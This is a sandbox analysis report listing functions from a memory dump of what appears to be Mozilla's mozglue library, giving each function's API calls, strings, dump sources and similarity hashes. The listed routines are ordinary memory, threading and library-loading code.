Function 6C7374A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C737526
__Init_thread_footer.LIBCMT ref: 6C737566
__Init_thread_footer.LIBCMT ref: 6C737597

Strings

kernel32.dll, xrefs: 6C737557
UnmapViewOfFile2, xrefs: 6C737552

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 976c2301cb67bd8ca10828bdc10b4fc6c388e687c452cb9adc7bf495618e0b6c
Instruction ID: f595216f5157607489524471686c9720f76b7893427939335ff498e3111de504
Opcode Fuzzy Hash: 976c2301cb67bd8ca10828bdc10b4fc6c388e687c452cb9adc7bf495618e0b6c
Instruction Fuzzy Hash: D421F571B00511EFDB188FB98F18E5A33B5EB46335FC41938E40A47F81DF22B91186A6

Function 6C73C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C73C0E9), ref: 6C73C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C73C437
FreeLibrary.KERNEL32(?,6C73C0E9), ref: 6C73C44C

Strings

ntdll.dll, xrefs: 6C73C413
NtQueryVirtualMemory, xrefs: 6C73C431

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 45406765ae41c941945e2b10ab391ac427cc081455dc385d470222b41b05fbb4
Instruction ID: 46c9d77caf4e3f63a5c0053baee9ac1c0ab8cf29f205f1f27af0665c0add189c
Opcode Fuzzy Hash: 45406765ae41c941945e2b10ab391ac427cc081455dc385d470222b41b05fbb4
Instruction Fuzzy Hash: 00E092B0702315ABDF006F729A08B257EFCA70A605F889236AA0992701EFB2E4548A50

Function 6C7375B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C73748B,?), ref: 6C7375B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C7375D7
FreeLibrary.KERNEL32(?,6C73748B,?), ref: 6C7375EC

Strings

RtlNtStatusToDosError, xrefs: 6C7375D1
ntdll.dll, xrefs: 6C7375B3

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: b0556dba16a0f48c49da825267b7a147274dd615e7ab9994a530a37df0ec37f4
Instruction ID: 64450b41619ed19f04cc533e54e50352cda04ba38968954381f3f581c340f9c3
Opcode Fuzzy Hash: b0556dba16a0f48c49da825267b7a147274dd615e7ab9994a530a37df0ec37f4
Instruction Fuzzy Hash: 37E0B671701309EFEF006FB2DA487167AFCEB06258FE45835A905D1681EFB0A551CF10

Function 6C737600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C737592), ref: 6C737608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C737627
FreeLibrary.KERNEL32(?,6C737592), ref: 6C73763C

Strings

NtUnmapViewOfSection, xrefs: 6C737621
ntdll.dll, xrefs: 6C737603

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: f0d812fa372582e4efd19b699182027083166610a6b44146905b8658ace96a16
Instruction ID: d554fda660fb3f4e0243b43528547a584dcef4fca52e6fb159fa77aecdf81326
Opcode Fuzzy Hash: f0d812fa372582e4efd19b699182027083166610a6b44146905b8658ace96a16
Instruction Fuzzy Hash: 88E092B0700355AFDF006FB69E087117EBCE71A259FD45939E909D2641EFB1A4148B14

Function 6C73BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C73BE49), ref: 6C73BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C73BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C73BE49), ref: 6C73BF38
RtlReAllocateHeap.NTDLL ref: 6C73BF83
RtlFreeHeap.NTDLL(6C73BE49,00000000), ref: 6C73BFA6

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 42a5afb9eeacf4681002baf0ada83d9280365f442245d2e7c7d275544df88fb7
Instruction ID: 72b7bcd3c5fd67c8b428f8d620f98530face8b3f7db7872ff071598a130dc26b
Opcode Fuzzy Hash: 42a5afb9eeacf4681002baf0ada83d9280365f442245d2e7c7d275544df88fb7
Instruction Fuzzy Hash: D651A671B006268FE710CF68CE80BAAB3A6FF84314F299639D51997B55D730F9068B80

Function 6C728E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C71B58D,?,?,?,?,?,?,?,6C74D734,?,?,?,6C74D734), ref: 6C728E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C71B58D,?,?,?,?,?,?,?,6C74D734,?,?,?,6C74D734), ref: 6C728EBF
free.MOZGLUE(?,?,?,?,6C71B58D,?,?,?,?,?,?,?,6C74D734,?,?,?), ref: 6C728F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C71B58D,?,?,?,?,?,?,?,6C74D734,?,?,?,6C74D734), ref: 6C728F46
free.MOZGLUE(?,?,?,?,6C71B58D,?,?,?,?,?,?,?,6C74D734,?,?,?), ref: 6C728F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C71B58D,?,?,?,?,?,?,?,6C74D734,?,?,?), ref: 6C728F8F

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 9be6153583fd2023d448d7042331021ceca47b381862e83f2db9ec905658336a
Instruction ID: c62ac5e460251fbc95e9c20d9753691e4874daf5c39b897a3ef97aed4848519e
Opcode Fuzzy Hash: 9be6153583fd2023d448d7042331021ceca47b381862e83f2db9ec905658336a
Instruction Fuzzy Hash: C051D6B2A012168FEB20CF54D98076E77B2FF49318F19053AD516AB741EB36F905CB91

Function 6C6D4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6D4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C6D4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6D4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6D4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C6D4F1E

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: cadab34332c081b4de7524f54f1ae781209d536bb68dbc53c783900cf0de4ff0
Instruction ID: c090e130adaad938ccfa85c1c7f3035314622e17b5e2d741bd1e96bc565e8200
Opcode Fuzzy Hash: cadab34332c081b4de7524f54f1ae781209d536bb68dbc53c783900cf0de4ff0
Instruction Fuzzy Hash: 5541E071604702AFC701CF29C8809ABBBE4FF89344F118A2DF46587650DBB0F919CB86

Function 6C6E1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C6E152B,?,?,?,?,6C6E1248,?), ref: 6C6E159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C6E152B,?,?,?,?,6C6E1248,?), ref: 6C6E15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C6E152B,?,?,?,?,6C6E1248,?), ref: 6C6E15E7
free.MOZGLUE(?,?,?,?,?,?,6C6E152B,?,?,?,?,6C6E1248,?), ref: 6C6E1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C6E152B,?,?,?,?,6C6E1248,?), ref: 6C6E1637

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: fb21b2c2e883e767701f6a2321a444e97ce96d8816c30b78db06172f29d0cacd
Instruction ID: 034f4f7162c31a104d5e5e265d129ec4d07b755e19452ecf54e701a375c87977
Opcode Fuzzy Hash: fb21b2c2e883e767701f6a2321a444e97ce96d8816c30b78db06172f29d0cacd
Instruction Fuzzy Hash: 27313AB1A091108BC7148F7CC8404AE77A5BB893687280B2EE437DBBD5EB30D9058799

Function 6C73AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C74E330,?,6C6FC059), ref: 6C73AD9D

Part of subcall function 6C6ECA10: malloc.MOZGLUE(?), ref: 6C6ECA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C74E330,?,6C6FC059), ref: 6C73ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C74E330,?,6C6FC059), ref: 6C73AE01
GetLastError.KERNEL32(?,00000000,?,?,6C74E330,?,6C6FC059), ref: 6C73AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C74E330,?,6C6FC059), ref: 6C73AE3D

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 0b6ab8f4619ebdd162e8b5d7bafe8f1ec5ddaab8efaa55e88750baab9f0ddc29
Instruction ID: 25c86fbb3cd99d7b47a65960a90d783becd877c7eff1342305647c1070491106
Opcode Fuzzy Hash: 0b6ab8f4619ebdd162e8b5d7bafe8f1ec5ddaab8efaa55e88750baab9f0ddc29
Instruction Fuzzy Hash: 973184B1A002159FDB10DF798D49AABBBF8EF49660F14843DE85AD7740E734E804C7A0

Function 6C735EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C74DCA0,?,?,?,6C70E8B5,00000000), ref: 6C735F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C70E8B5,00000000), ref: 6C735F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C70E8B5,00000000), ref: 6C735F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C70E8B5,00000000), ref: 6C735F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C70E8B5,00000000), ref: 6C735FD6

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 44d70c027fff6b404047331482e8901364a774778678a20d459aebc57f601175
Instruction ID: 35295f00b6f3fc4618ac7c7e231c3e8a7d3c2875566d567361a990ce6977cef0
Opcode Fuzzy Hash: 44d70c027fff6b404047331482e8901364a774778678a20d459aebc57f601175
Instruction Fuzzy Hash: 44314F343006118FD750CF29D998E2AB7F5FF89319BA45568F59A8B796CB31EC41CB80

Function 6C6DB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C6DB532
moz_xmalloc.MOZGLUE(?), ref: 6C6DB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C6DB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C6DB57E
free.MOZGLUE(00000000), ref: 6C6DB58F

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 4431215301cf07cd358af9a420377f388bc7d9ba3c950306220ed635cd4764ec
Instruction ID: 2895534b22eb4dceae476c3e11a27d8cfa3b50e277fe0858a0394e66f738869b
Opcode Fuzzy Hash: 4431215301cf07cd358af9a420377f388bc7d9ba3c950306220ed635cd4764ec
Instruction Fuzzy Hash: 13210571A002059BDB008F69CC40BBABBB9FF86304F294029E818DB345E776E915C7A4

Function 6C736E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C736E78

Part of subcall function 6C736A10: InitializeCriticalSection.KERNEL32(6C75F618), ref: 6C736A68
Part of subcall function 6C736A10: GetCurrentProcess.KERNEL32 ref: 6C736A7D
Part of subcall function 6C736A10: GetCurrentProcess.KERNEL32 ref: 6C736AA1
Part of subcall function 6C736A10: EnterCriticalSection.KERNEL32(6C75F618), ref: 6C736AAE
Part of subcall function 6C736A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C736AE1
Part of subcall function 6C736A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C736B15
Part of subcall function 6C736A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C736B65
Part of subcall function 6C736A10: LeaveCriticalSection.KERNEL32(6C75F618,?,?), ref: 6C736B83

MozFormatCodeAddress.MOZGLUE ref: 6C736EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C736EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C736EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C736EFF

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 3c0c9d8a14e498a4781b16f3afba8b4a6cd3b30f32a42ed8124bac33087ccdc9
Instruction ID: a3c554459445bcdebf6838de903562f3247ac2727cc9f2049fef4bf30fee91b9
Opcode Fuzzy Hash: 3c0c9d8a14e498a4781b16f3afba8b4a6cd3b30f32a42ed8124bac33087ccdc9
Instruction Fuzzy Hash: 6D21A4B1A0421A9FDB00CF69D9896AA77F5FF84308F444039E80D97241DB75AA598F92

Function 6C710D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C6D3DEF), ref: 6C710D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C6D3DEF), ref: 6C710D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C6D3DEF), ref: 6C710DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C710D97, 6C710DBE
<jemalloc>, xrefs: 6C710D92, 6C710DB9

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: e22ebc4b77727e23f09f6be766cca33f60b69d90aadeda2eaf5792b7121b6b93
Instruction ID: 83a6b653180166d49aa10267eaf88f426b00bf519ad260d616cd456f1fb905f7
Opcode Fuzzy Hash: e22ebc4b77727e23f09f6be766cca33f60b69d90aadeda2eaf5792b7121b6b93
Instruction Fuzzy Hash: ECF0E97139829823E72016660E0BFAA265D6BC2B25F788036F244DADC0DF51F43446A4

Function 6C727620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C7275C4,?), ref: 6C72762B

Part of subcall function 6C6ECA10: malloc.MOZGLUE(?), ref: 6C6ECA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C7274D7,6C7315FC,?,?,?), ref: 6C727644
GetCurrentThreadId.KERNEL32 ref: 6C72765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C7274D7,6C7315FC,?,?,?), ref: 6C727663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C7274D7,6C7315FC,?,?,?), ref: 6C727677

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: a5a02e02e6ce0d14a0dc8f23301c568a3a4290152776102b66a86c3cf0439500
Instruction ID: 89b6cd32b410d2d06f6fab3b10a64ad80266426fe659508bc7b6b4c3d6c945f6
Opcode Fuzzy Hash: a5a02e02e6ce0d14a0dc8f23301c568a3a4290152776102b66a86c3cf0439500
Instruction Fuzzy Hash: A5F0AF71E10745ABD7008F61C888676B778FFEA359F11432AF90552601EBB0B5D08BD0

Function 6C6FD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C70CBE8: GetCurrentProcess.KERNEL32(?,6C6D31A7), ref: 6C70CBF1
Part of subcall function 6C70CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6D31A7), ref: 6C70CBFA

EnterCriticalSection.KERNEL32(6C75E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C70D1C5), ref: 6C6FD4F2
LeaveCriticalSection.KERNEL32(6C75E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C70D1C5), ref: 6C6FD50B

Part of subcall function 6C6DCFE0: EnterCriticalSection.KERNEL32(6C75E784), ref: 6C6DCFF6
Part of subcall function 6C6DCFE0: LeaveCriticalSection.KERNEL32(6C75E784), ref: 6C6DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C70D1C5), ref: 6C6FD52E
EnterCriticalSection.KERNEL32(6C75E7DC), ref: 6C6FD690
LeaveCriticalSection.KERNEL32(6C75E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C70D1C5), ref: 6C6FD751

Strings

MOZ_CRASH(), xrefs: 6C6FD4BB

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 415920042e6fbd1822c1b68531c2771c7186f54a37f60ab3ffa333fdd8daa2fd
Instruction ID: 5747f089923852fe5175b14c07e13093e8b7064c1c93f89c58b32f7564fb8f64
Opcode Fuzzy Hash: 415920042e6fbd1822c1b68531c2771c7186f54a37f60ab3ffa333fdd8daa2fd
Instruction Fuzzy Hash: EC51D071A047058FD714CF28C19475AB7E6EB89708FA4893ED5AAC7B84DB70F801CB96

Function 6C724630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C724721

Strings

profiler-paused, xrefs: 6C7246E4
., xrefs: 6C72476A
-%llu, xrefs: 6C724733

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
